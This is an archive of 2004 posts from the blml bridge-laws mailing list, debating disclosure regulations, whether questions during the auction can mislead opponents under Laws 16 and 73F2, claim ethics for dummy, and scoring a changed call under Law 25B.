2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 19:04:31 -0500 Subject: [blml] Is scrawling an infraction? In-Reply-To: Message-ID: On Thursday, Mar 18, 2004, at 17:17 US/Eastern, Robert E. Harris wrote: > My persistent questions about NT range after every 1NT opening bid > without the (ACBL required) range announcement has not produced any > noticeable change in local behavior. Good luck on trying for > legibility. Everyone keeps telling me we should cater to the sensitivity of the poor bunnies because otherwise they will leave the game. You know what? The "poor bunnies" are *never* going to learn because no one has the guts to call the director when they do these things, and no director has the guts to penalize them for it. Not in the ACBL, anyway. I prefer to play with people who abide by the rules. From ereppert@rochester.rr.com Fri Mar 19 00:09:22 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 19:09:22 -0500 Subject: [blml] Definitions of Conventions In-Reply-To: Message-ID: On Thursday, Mar 18, 2004, at 17:50 US/Eastern, Steven Haver wrote: > IMO, there's a very good case for adopting, and posting, a set of > definitions for the more-frequently encountered conventions. This > would "spell out" the partnership understanding implied by the > convention name; it could also document the conditions under which use > of such understandings is permissible. Setting a clear standard for > resolution of disputes arising out of alleged inadequate disclosure. > > Somewhat surprisingly, the ACBL website does not include any such > section. Once an organization sees fit to adopt a "standard" > convention card, with checkboxes for selected conventions, the > definitions of such conventions become, in effect, part of the > conditions of contest. > > I'm somewhat curious as to the practices of other NCBO's. If I'm not mistaken, the EBU tried this some years ago, but abandoned it as unworkable. From richard.hills@immi.gov.au Fri Mar 19 01:45:45 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 19 Mar 2004 11:45:45 +1000 Subject: [blml] Is scrawling an infraction? Message-ID: Ed Reppert: [snip] >I prefer to play with people who abide by the rules. Richard James Hills: Agreed. But, I also prefer to play with simple rules, that are easy to abide by. The ACBL Board of Management, in my opinion, deserves a PP for creating internally inconsistent regulations which have idiosyncratic caveats and exceptions. Off-topic note: Although I play what is in theory a difficult to remember relay system, in practice my partner and I have a lower rate of "forgets" compared to some partnerships of comparable expertise and experience who use natural methods. This is because my relay system is deliberately designed to include maximum symmetry and redundancy. Although natural bidding *a priori* may be easier to remember than relays, *a posteriori* natural partnerships often play internally inconsistent systems which have idiosyncratic caveats and exceptions. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Fri Mar 19 00:56:09 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 19 Mar 2004 00:56:09 +0000 Subject: [blml] destroy the village to save it In-Reply-To: References: Message-ID: RJH wrote >>>Grattan wrote >>>>Misinformation >>>> >>>>As with disclosure, there is an issue >>>>under this heading if it is considered a >>>>matter of bridge ethics to be considerate >>>>of opponents. The higher we go in bridge, >>>>is there not a corresponding increase in >>>>our responsibility for preparing >>>>ourselves for tournaments? >>>> >>>>How ethical can we consider ourselves >>>>once we rise to the levels of national >>>>tournaments, or of regional tournaments in >>>>larger countries, if we are unable to give >>>>our opponents an accurate account of our >>>>system agreements and our special >>>>understandings? Is it acceptable if we go >>>>to such major tournaments inadequately >>>>prepared? - using methods that we have not >>>>fully grasped? 2C [H+minor] 2S 3D [p/c for minor] 4H [fit non-jump] 4S [clubs, cue] 5H [nat, slam try] 6D How can we possibly play bridge when a pair has come to a major Championship without discussing what 6D means in this sequence? Disgraceful! I was directing the Seniors Trials the other day. John Collings v Paul Hackett, two of our leading characters, on the same side of the screen. The bidding sequence went 2D [weak] X 2S and Paul did not know what 2S meant [he was not playing in the expected partnership owing to severe illness at the last moment: collapsed lung consequent on heart bypass seemed a good enough excuse to me]. John said "I cannot play bridge when opponents do not know their system." I consider I did a remarkable job in not laughing at the man who won the Monte Carlo individual three years out of four by his almost magic reading of partners and opponents. When the day comes that the Laws require a partnership to know all their agreements in these two situations it will be a sad day for the game of bridge. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Mar 19 02:01:53 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 18 Mar 2004 21:01:53 -0500 Subject: [blml] Is scrawling an infraction? In-Reply-To: Message-ID: <64CE61AF-7949-11D8-BEA8-0030656F6826@rochester.rr.com> On Thursday, Mar 18, 2004, at 20:45 US/Eastern, richard.hills@immi.gov.au wrote: > Although natural bidding *a priori* may be easier to remember than > relays, > *a posteriori* natural partnerships often play internally inconsistent > systems which > have idiosyncratic caveats and exceptions. Yeah, I know. But for the life of me, I can't get my partners to abandon the damn things. :-) From gesta@tiscali.co.uk Thu Mar 18 11:42:28 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 18 Mar 2004 11:42:28 -0000 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> Message-ID: <000e01c40d58$d2f76bd0$62e2403e@multivisionoem> Grattan Endicott To: Sent: Thursday, March 18, 2004 12:49 AM Subject: Re: [blml] Explain > > Let me get this straight. You are saying that > asking questions cannot mislead, and ask for > an example. I give an example, you say that > one does not count. > +=+ If there is an inference to be drawn from a question asked then (a) that inference may mislead an opponent, and (b) that same inference may guide partner. If there is no inference to be drawn from a question asked then in the absence of such an inference neither (a) nor (b) can occur. Eric Landau suggests the law be altered so that, whilst it allows there is indeed an inference, only the use of the guidance per (b) will lead to redress whilst the player who suffers via (a) will have no recourse. In my grandeval and senile opinion this would create a conman's charter. Ton appears to say, as far as I can make out, that there is no inference to be drawn since the questioner may have no particular interest in the answer other than to keep up-to-date with the auction; so ton could hardly suggest that a player would have UI from the fact that his partner asked a question. I do not recall this teaching in TDs seminars. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Fri Mar 19 02:45:24 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 19 Mar 2004 02:45:24 -0000 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> <00fc01c40ceb$070e44c0$89f9f1c3@LNV> Message-ID: <000e01c40d5c$6c8a1ec0$fad3403e@multivisionoem> Grattan Endicott To: Sent: Thursday, March 18, 2004 12:56 PM Subject: Re: [blml] Explain > David: > > > OK, Grattan: but please explain why [a] he misquotes our reg when it > > has been posted here in full and [b] why when he asks for an example he > > says the example given does not count. > > > He quotes Grattan Endicot who has told us and still maintains telling so > that a player only has a bridge reason for questioning a call during the > auction if his choice for his call depends on the answer given. > Which leads to Grattan's conclusion that if that is not the case L73F2 > applies if an opponent feels misled. > > Then he tried to explain three times during the last three weeks that an > example in which declarer during play asks about a possible holding in > defender's hand does not cover this issue and he adds to it that he included > such a case in the recent EBL TD course , fully aproving the application of > L73F2 in that situation. > That is why your example does not count, simply because it is besides the > issue. > > And now he would like you to read more carefully what he is telling. > > For almost all others 'he' can be read as 'ton', > > ton >>> +=+ It is very difficult to reply to ton when he regularly misquotes or misunderstands me. However, let me quote my position statement again: " My 'torque' is simply to say that whether you are Mrs. Grigglemouse at the Isachsen Bridge Club or Chairman or Secretary of the World Laws Committee you have no power to make the law what you would like it to be merely by asserting it to be so. The WBFLC put that method out to grass soon after Kaplan departed. (Minutes: 6 of 24 Aug 98, 17 of 1 Sep 98, and 4 of 20 Jan 2000.) On the 'explain' thread I have simply maintained that since the WBFLC has made no pronouncement on the subject of 73F2 the law is as it reads and any Director, AC or NBO is entitled to understand it as he/she/it may. My personal view is based upon how I know we intended it in 1987. Kaplan thought that the 'demonstrable bridge reason' test would do it, and none of us knew any better. Whilst I hear the argument for change, which ton puts very forcefully and I do not oppose, I do not yet perceive a whole solution as to the manner in which it may be done without conceding to the unscrupulous the facility to create a false impression by asking a question - something that we sought to avoid in 1987. " ~ Grattan ~ +=+ From richard.hills@immi.gov.au Fri Mar 19 04:09:56 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 19 Mar 2004 14:09:56 +1000 Subject: [blml] Explain Message-ID: >+=3D+ If there is an inference to be drawn from a >question asked then (a) that inference may mislead >an opponent, and (b) that same inference may >guide partner. If there is no inference to be drawn >from a question asked then in the absence of such >an inference neither (a) nor (b) can occur. > Eric Landau suggests the law be altered so >that, whilst it allows there is indeed an inference, >only the use of the guidance per (b) will lead to >redress whilst the player who suffers via (a) will >have no recourse. In my grandeval and senile >opinion this would create a conman's charter. Ton >appears to say, as far as I can make out, that there >is no inference to be drawn since the questioner >may have no particular interest in the answer other >than to keep up-to-date with the auction; so ton >could hardly suggest that a player would have UI >from the fact that his partner asked a question. I >do not recall this teaching in TDs seminars. > ~ Grattan ~ +=3D+ In my opinion, Grattan's polemic against "a conman's charter" is not consistent with Law 73F2 as that Law is currently written. Grattan assumes that if a question is asked, and if an inference from that question can guide partner, then the questioner's partner is constrained by Law 16. That first assumption by Grattan is correct. But now Grattan also assumes that the current Law 73F2 is directly parallel when that same question creates an inference that may mislead an opponent. That second assumption by Grattan is incorrect. A misleading inference is necessary, but not sufficient, for Law 73F2 to operate. Another necessary requirement is that the questioner "could have known, at the time of the action" that an opponent might be misled. And, in my opinion, it is entirely possible that a misleading question from a bunny would be legal, while the same question from an expert would be illegal. This is because the bunny might fail the "could have known" test, due to the bunny's incompetence at acquiring bridge knowledge. In other words, I believe (contrary to Grattan's implication) that it is entirely possible that a particular question's inferences place a Law 16 constraint on the questioner's partner, *but* the same particular question's inferences are used under Law 73D1 "own risk" by the questioner's opponents. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From gesta@tiscali.co.uk Fri Mar 19 03:25:18 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 19 Mar 2004 03:25:18 -0000 Subject: [blml] Explain References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000201c40cc6$99fe1500$4600e150@multivisionoem> <00fc01c40ceb$070e44c0$89f9f1c3@LNV> Message-ID: <000801c40d83$aea78eb0$c5d2403e@multivisionoem> Grattan Endicott To: Sent: Thursday, March 18, 2004 2:04 PM Subject: Re: [blml] Explain > > Aaaah: so you are equating Grattan Endicott > with 'that island'. I have news for you, Ton, > they are not the same. > +=+ And indeed I have not been defending 'that island'. My object is not to allow ton to make assertions about the law for which he has not yet obtained the support of the WBFLC without making it clear they are his opinions and nothing more. My own belief is that since it has not been the subject of subsequent attention the position continues to be what we set up in 1987, but I realise ton has come along much later and cannot be expected to know about that. ~ Grattan ~ +=+ From gesta@tiscali.co.uk Fri Mar 19 07:37:02 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Fri, 19 Mar 2004 07:37:02 -0000 Subject: [blml] Explain References: Message-ID: <000e01c40d85$158ed470$c5d2403e@multivisionoem> Grattan Endicott To: Sent: Friday, March 19, 2004 4:09 AM Subject: Re: [blml] Explain >+=+ If there is an inference to be drawn from a >question asked then (a) that inference may mislead >an opponent, and (b) that same inference may >guide partner. If there is no inference to be drawn >from a question asked then in the absence of such >an inference neither (a) nor (b) can occur. > Eric Landau suggests the law be altered so >that, whilst it allows there is indeed an inference, >only the use of the guidance per (b) will lead to >redress whilst the player who suffers via (a) will >have no recourse. In my grandeval and senile >opinion this would create a conman's charter. Ton >appears to say, as far as I can make out, that there >is no inference to be drawn since the questioner >may have no particular interest in the answer other >than to keep up-to-date with the auction; so ton >could hardly suggest that a player would have UI >from the fact that his partner asked a question. I >do not recall this teaching in TDs seminars. > ~ Grattan ~ +=+ In my opinion, Grattan's polemic against "a conman's charter" is not consistent with Law 73F2 as that Law is currently written. Grattan assumes that if a question is asked, and if an inference from that question can guide partner, then the questioner's partner is constrained by Law 16. That first assumption by Grattan is correct. But now Grattan also assumes that the current Law 73F2 is directly parallel when that same question creates an inference that may mislead an opponent. That second assumption by Grattan is incorrect. A misleading inference is necessary, but not sufficient, for Law 73F2 to operate. Another necessary requirement is that the questioner "could have known, at the time of the action" that an opponent might be misled. And, in my opinion, it is entirely possible that a misleading question from a bunny would be legal, while the same question from an expert would be illegal. This is because the bunny might fail the "could have known" test, due to the bunny's incompetence at acquiring bridge knowledge. In other words, I believe (contrary to Grattan's implication) that it is entirely possible that a particular question's inferences place a Law 16 constraint on the questioner's partner, *but* the same particular question's inferences are used under Law 73D1 "own risk" by the questioner's opponents. Best wishes Richard James Hills < +=+ I agree that if an opponent is misled by the inference the law then provides the tests of 'could have known' and 'a demonstrable bridge reason'; my argument is that the inference is common to both partner and opponent and may create the situation in which these tests are to apply. What I say is that in 1987 we did not allow that merely wishing to keep abreast of the auction was a demonstrable *bridge* reason as ton now wishes to argue. ~ Grattan ~ +=+ From jean-pierre.rocafort@meteo.fr Fri Mar 19 09:20:14 2004 From: jean-pierre.rocafort@meteo.fr (jean-pierre.rocafort@meteo.fr) Date: Fri, 19 Mar 2004 10:20:14 +0100 Subject: [blml] Explain Message-ID: Envoy=E9 par : blml-admin@rtflb.org 19/03/2004 08:37 =20 Pour : , cc :=20 Objet : Re: [blml] Explain Grattan Endicott To: Sent: Friday, March 19, 2004 4:09 AM Subject: Re: [blml] Explain >+=3D+ If there is an inference to be drawn from a >question asked then (a) that inference may mislead >an opponent, and (b) that same inference may >guide partner. If there is no inference to be drawn >from a question asked then in the absence of such >an inference neither (a) nor (b) can occur. > Eric Landau suggests the law be altered so >that, whilst it allows there is indeed an inference, >only the use of the guidance per (b) will lead to >redress whilst the player who suffers via (a) will >have no recourse. In my grandeval and senile >opinion this would create a conman's charter. Ton >appears to say, as far as I can make out, that there >is no inference to be drawn since the questioner >may have no particular interest in the answer other >than to keep up-to-date with the auction; so ton >could hardly suggest that a player would have UI >from the fact that his partner asked a question. I >do not recall this teaching in TDs seminars. > ~ Grattan ~ +=3D+ In my opinion, Grattan's polemic against "a conman's charter" is not consistent with Law 73F2 as that Law is currently written. Grattan assumes that if a question is asked, and if an inference from that question can guide partner, then the questioner's partner is constrained by Law 16. That first assumption by Grattan is correct. But now Grattan also assumes that the current Law 73F2 is directly parallel when that same question creates an inference that may mislead an opponent. That second assumption by Grattan is incorrect. A misleading inference is necessary, but not sufficient, for Law 73F2 to operate. Another necessary requirement is that the questioner "could have known, at the time of the action" that an opponent might be misled. And, in my opinion, it is entirely possible that a misleading question from a bunny would be legal, while the same question from an expert would be illegal. This is because the bunny might fail the "could have known" test, due to the bunny's incompetence at acquiring bridge knowledge. In other words, I believe (contrary to Grattan's implication) that it is entirely possible that a particular question's inferences place a Law 16 constraint on the questioner's partner, *but* the same particular question's inferences are used under Law 73D1 "own risk" by the questioner's opponents. Best wishes Richard James Hills < +=3D+ I agree that if an opponent is misled by the=20 inference the law then provides the tests of=20 'could have known' and 'a demonstrable bridge reason'; my argument is that the inference is common to both partner and opponent and may create the situation in which these tests are to apply. What I say is that in 1987 we did not allow that merely wishing to keep abreast of the auction was a demonstrable *bridge* reason as ton now wishes to argue. ~ Grattan ~ +=3D+=20 *** i think L16 and L73F2 are accurate to deal with the consequences of asked = questions, but divergences of opinion lie on when they need to be used,=20 which is not a problem of what the law should be but a problem of=20 application on a case to case basis. inferences may be common to partner=20 and opponent but the effects are rather ortthogonal than parallel: when=20 there is a direct connection between asker's hand and the question, either = because he is a cheat, or an emotive character or is compelled by a local=20 regulation, it's UI for partner which may cause trouble and AI for=20 opponent which can't cause trouble. when there is no connection (no bridge = reason at all..), there can be a trouble whith opponent who can be misled=20 but there is no legal trouble if partner is also misled. Each case has to=20 be seen on its own merits. it appears that in some areas the main problem=20 is with cheats who ask questions to alert their partners on some=20 particularities of their hands, and on other areas it's with cheats who=20 ask questions only to mislead opponent, and SO have chosen different=20 regulations to prevent the occurences of problems they think the more=20 important. it's only my opinion but i think it should be desirable to let=20 people ask when they please in order no to restrain full disclosure, and=20 to deal with any incurring problem on a case by case basis using the=20 adequate weapons in tflb.=20 jp rocafort *** =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F Jean-Pierre Rocafort METEO-FRANCE DSI/SC/D 42 Avenue Gaspard Coriolis 31057 Toulouse CEDEX Tph: 05 61 07 81 02 (33 5 61 07 81 02) Fax: 05 61 07 81 09 (33 5 61 07 81 09) e-mail: jean-pierre.rocafort@meteo.fr Serveur WWW METEO-FRANCE: http://www.meteo.fr =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F From jaapvanderneut@hotmail.com Fri Mar 19 09:47:59 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Fri, 19 Mar 2004 10:47:59 +0100 Subject: [blml] Explain References: <000e01c40d85$158ed470$c5d2403e@multivisionoem> Message-ID: Grattan: > What I say is that > in 1987 we did not allow that merely wishing to keep > abreast of the auction was a demonstrable *bridge* > reason as ton now wishes to argue. I understand your logic. Still I disagree with that 1987 'view'. Tell me dear sir, how is it possible to play bridge if you are not 'abreast of the auction'. Now I can agree that when holding a yarborough it is not so urgent to know what is going on. But this argument boils down to me having to tell opponents (and partner !!!) that I have a yarborough by only 'staying abreast of the auction' in other cases. So this 'view of the law' forces me to provide UI to partner and free I to opponents (to which they are not entiteled by any common sense standard). This is maybe extreme (all logic is) but as long as you claim that a bridge reason is more or less only 'I might want to bid something right now depending on the answer' you create IMHO more (U)I than you resolve. An extreme example, you bid after a long conventional relay auction a 38 HCP 7NT requiring a two-way Q guess. Now if one opponent has asked something you can claim the 7NT according to Grattan c.s. because he must have the Q for his asking (the 'bridge reason' being that he needed to prepare for a possible cuebid double in his Q-suit). And what would Grattan (or DWS) do if both opponents have asked. Are you also awarding the 7NT without play because the guy without the Q had no bridge reason so mislead declarer by hiding who had the real bridge reason (and the Q). I guess in EBU land bidding slams on a Q guess becomes quite attractive. After some pressure DWS (and Grattan ?) came up with the Bath Coup example and some lunatic questioning. Of course that is silly and we can handle that with existing laws. Still I think it is legal to ask 'leads and signals please' in that situation and to plan the play before playing to trick one (both normal behaviour, actually there should be a protocol that enforces this). Or are you goinig to maintain that I might only ask (or study the CC which has the same effect) if it matters which card I play from dummy at trick 1 ???? So whatever the intention of that 1987 'view', I am sure it was with the best of intentions, it is logically nonsense, it is in conflict with other laws, and so can be discarded for any practical purpose (outside the EBU if I have understood the most vocal representative of 'that island' correctly). Anyway my guess is that those who took that decision in 1987 have little experience playing against unfamiliar systems. In areas like ACBL and FFB (EBU ?) the problem hardly exist since some common standard is prevalent. But now try to play in Holland, Poland (Australia ?) where weird systems and conventions are the norm rather than the exception. Same for international events. I am afraid the WBFLC needs to do better than this but given the (tone of) the discussion between Ton and Grattan there is little hope. As long as you continue trenchfighting about details like above I don't see how we get real laws that adress the real problems. By the way, it is not that I agree with Ton's view on this one (his view leads to other problems), my point is that the law is in conflict with itself. And as long as the law promotes logically inconsistent concepts we will obviously never agree on interpretations. Jaap ----- Original Message ----- From: To: ; Sent: Friday, March 19, 2004 8:37 AM Subject: Re: [blml] Explain > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > ++++++++++++++++++++++++++++++++ > "The young are quick of speech > Grown middle-aged I teach > Corrosion and distrust, > Exacting what I must. " > ~ Yvor Winters. > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: > To: > Sent: Friday, March 19, 2004 4:09 AM > Subject: Re: [blml] Explain > > > > > > > >+=+ If there is an inference to be drawn from a > >question asked then (a) that inference may mislead > >an opponent, and (b) that same inference may > >guide partner. If there is no inference to be drawn > >from a question asked then in the absence of such > >an inference neither (a) nor (b) can occur. > > Eric Landau suggests the law be altered so > >that, whilst it allows there is indeed an inference, > >only the use of the guidance per (b) will lead to > >redress whilst the player who suffers via (a) will > >have no recourse. In my grandeval and senile > >opinion this would create a conman's charter. Ton > >appears to say, as far as I can make out, that there > >is no inference to be drawn since the questioner > >may have no particular interest in the answer other > >than to keep up-to-date with the auction; so ton > >could hardly suggest that a player would have UI > >from the fact that his partner asked a question. I > >do not recall this teaching in TDs seminars. > > ~ Grattan ~ +=+ > > In my opinion, Grattan's polemic against "a conman's > charter" is not consistent with Law 73F2 as that Law > is currently written. > > Grattan assumes that if a question is asked, and if > an inference from that question can guide partner, > then the questioner's partner is constrained by Law > 16. That first assumption by Grattan is correct. > > But now Grattan also assumes that the current Law > 73F2 is directly parallel when that same question > creates an inference that may mislead an opponent. > That second assumption by Grattan is incorrect. > > A misleading inference is necessary, but not > sufficient, for Law 73F2 to operate. Another > necessary requirement is that the questioner "could > have known, at the time of the action" that an > opponent might be misled. > > And, in my opinion, it is entirely possible that a > misleading question from a bunny would be legal, while > the same question from an expert would be illegal. > This is because the bunny might fail the "could have > known" test, due to the bunny's incompetence at > acquiring bridge knowledge. > > In other words, I believe (contrary to Grattan's > implication) that it is entirely possible that a > particular question's inferences place a Law 16 > constraint on the questioner's partner, *but* the same > particular question's inferences are used under Law > 73D1 "own risk" by the questioner's opponents. > > Best wishes > > Richard James Hills > < > +=+ I agree that if an opponent is misled by the > inference the law then provides the tests of > 'could have known' and 'a demonstrable bridge reason'; > my argument is that the inference is common to both > partner and opponent and may create the situation > in which these tests are to apply. What I say is that > in 1987 we did not allow that merely wishing to keep > abreast of the auction was a demonstrable *bridge* > reason as ton now wishes to argue. > ~ Grattan ~ +=+ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From david.barton@boltblue.com Fri Mar 19 14:50:25 2004 From: david.barton@boltblue.com (David Barton) Date: Fri, 19 Mar 2004 14:50:25 -0000 Subject: [blml] Ethics Continued Message-ID: <001501c40dc1$8a22c440$0307a8c0@PlusNet> Partner claims 5 of the last 6 tricks but you as dummy suspect the claim may be faulty. You do not KNOW because you have not been following the play that closely. The opposition appear happy to accept the claim. Are you obliged, legally or ethically, to draw attention to this. Does it make any difference if (a) They had to defend well to get a 2nd trick / Partner may have claimed a trick he could not win; or (b) Defenders are experts nominally capable of looking after themselves / Defenders are bunnies; or (c) By the time you gather your thoughts defenders cards have been returned to the board; or (d) You are the (playing) director of the event. ********************************** David.Barton@BoltBlue.com ********************************** From blml@blakjak.com Fri Mar 19 17:22:11 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 19 Mar 2004 17:22:11 +0000 Subject: [blml] Explain In-Reply-To: <000e01c40d58$d2f76bd0$62e2403e@multivisionoem> References: <003001c4079f$04a911c0$18d8403e@multivisionoem> <005a01c40c3d$dff41430$eafaf1c3@LNV> <009701c40c73$25016fc0$eafaf1c3@LNV> <000e01c40d58$d2f76bd0$62e2403e@multivisionoem> Message-ID: Grattan wrote [with his wonderful :((((( software] >From: "David Stevenson" >> Let me get this straight. You are saying that >> asking questions cannot mislead, and ask for >> an example. I give an example, you say that >> one does not count. >+=+ If there is an inference to be drawn from a >question asked then (a) that inference may mislead >an opponent, and (b) that same inference may >guide partner. If there is no inference to be drawn >from a question asked then in the absence of such >an inference neither (a) nor (b) can occur. > Eric Landau suggests the law be altered so >that, whilst it allows there is indeed an inference, >only the use of the guidance per (b) will lead to >redress whilst the player who suffers via (a) will >have no recourse. In my grandeval and senile >opinion this would create a conman's charter. Ton >appears to say, as far as I can make out, that there >is no inference to be drawn since the questioner >may have no particular interest in the answer other >than to keep up-to-date with the auction; so ton >could hardly suggest that a player would have UI >from the fact that his partner asked a question. I >do not recall this teaching in TDs seminars. While I am not in the main argument here apparently I would say - in fact have said - that currently [a] and [b] are illegal. To make [b] legal would attack the foundations of the game and would not be acceptable. But to make [a] legal does not seem to me such a big deal. We already try to con our opponents in legal ways: what difference if another way is legal? For those who wonder how you con an opponent legally, consider how as declarer you play A98x KJTx The answer is to lead the J: if not covered play the A and finesse on the way back. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Mar 19 17:27:35 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 19 Mar 2004 17:27:35 +0000 Subject: [blml] Ethics Continued In-Reply-To: <001501c40dc1$8a22c440$0307a8c0@PlusNet> References: <001501c40dc1$8a22c440$0307a8c0@PlusNet> Message-ID: David Barton wrote >Partner claims 5 of the last 6 tricks but you as dummy suspect the claim may >be faulty. >You do not KNOW because you have not been following the play that closely. >The opposition appear happy to accept the claim. > >Are you obliged, legally or ethically, to draw attention to this. >Does it make any difference if >(a) They had to defend well to get a 2nd trick / Partner may have claimed a >trick he could not win; or If he has claimed a trick he cannot win then you are required to point it out. L72A2. If they had ot defend well it is solely a matter for oyur personal ethics [see below]. >(b) Defenders are experts nominally capable of looking after themselves / >Defenders are bunnies; or This is the personal ethics problem. General ethics do not require any differences based on opponents' ability: a very large percentage of players' personal ethics require you to treat bunnies better. >(c) By the time you gather your thoughts defenders cards have been returned >to the board; or Irrelevant: if you decide to challenge the claim then you do so and leave the TD to decide whether it is in time. >(d) You are the (playing) director of the event. It should make no difference really. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Mar 19 21:27:34 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 19 Mar 2004 16:27:34 -0500 Subject: [blml] Explain In-Reply-To: <000e01c40d85$158ed470$c5d2403e@multivisionoem> Message-ID: <3CFE0749-79EC-11D8-A265-0030656F6826@rochester.rr.com> On Friday, Mar 19, 2004, at 02:37 US/Eastern, gesta@tiscali.co.uk wrote: > What I say is that in 1987 we did not allow that merely wishing to > keep > abreast of the auction was a demonstrable *bridge* reason as ton now > wishes to argue. Let's see if I have this straight. When I (or, I assume, any player) sits down at the bridge table, I listen to the auction and, as things proceed, build a picture in my mind of how the cards have (I hope) been dealt. That picture may or may not be of any use to me during the auction, because I may or may not have any reason to compete in that auction. It will almost certainly be of use to me during the play, though. It is the position of the WBFLC, as I understand it, that if I have no reason to compete in the auction I must, if questions arise in my mind about the meaning of opponents' auction, abandon any attempt to continue building my mind picture until *after* the auction, thus being required to spend time that I *might* have spent during the auction on building that picture on doing so during the play - presumably before playing to the first trick. Is that it? From blml@wrightnet.demon.co.uk Sat Mar 20 00:12:48 2004 From: blml@wrightnet.demon.co.uk (Steve Wright) Date: Sat, 20 Mar 2004 00:12:48 +0000 Subject: [blml] L25A or L25B In-Reply-To: References: Message-ID: In message , David Stevenson writes >Steve Wright wrote >>I'm sure we've discussed this before, but I cannot recall what >>conclusion we came to... >> >>1S (P) 4D[1] (P) >>P[2] >> >>[1] Alerted and explained as a splinter agreeing spades >>[2] Pass card placed on the table, followed by "Sorry, I meant to sign >>off in 4S" >> >>Mechanical error [L25A] or Change of mind [L25B]? > > Change of mind: at the moment the player reached for the box he >intended to pass. > > This auction was the one quoted as being the raison d'etre for L25B. > I thought as much, but there was this moment of doubt in my mind. I was the idiot who passed the cue bid. I chose at the time to change my bid and just accepted the bad score for my mistake. But...if I had changed by bid under L25B, how do you score it as it says "the offending side receives no greater than average minus and the non-offending side receives the score achieved at the table." In pairs I can just about fudge this, but our scoring program only handles a result being an actual score or an avg/avg+/avg- etc. It won't allow assigning an actual score to one side and an avg- to another. Lets assume that 4D scores -200 and 4S scores +450 How do you score this in teams of four? Does it make a difference if this is multiple teams or head to head? How do you score it in teams of eight? In our county league, we add the results from the four tables and then IMP it. -- Steve Wright Leicester, England From schoderb@msn.com Sat Mar 20 00:44:57 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Fri, 19 Mar 2004 19:44:57 -0500 Subject: [blml] Explain References: <3CFE0749-79EC-11D8-A265-0030656F6826@rochester.rr.com> Message-ID: Anybody out there who wishes to say YES? ----- Original Message ----- From: "Ed Reppert" To: "blml" Sent: Friday, March 19, 2004 4:27 PM Subject: Re: [blml] Explain > > On Friday, Mar 19, 2004, at 02:37 US/Eastern, gesta@tiscali.co.uk wrote: > > > What I say is that in 1987 we did not allow that merely wishing to > > keep > > abreast of the auction was a demonstrable *bridge* reason as ton now > > wishes to argue. > > Let's see if I have this straight. When I (or, I assume, any player) > sits down at the bridge table, I listen to the auction and, as things > proceed, build a picture in my mind of 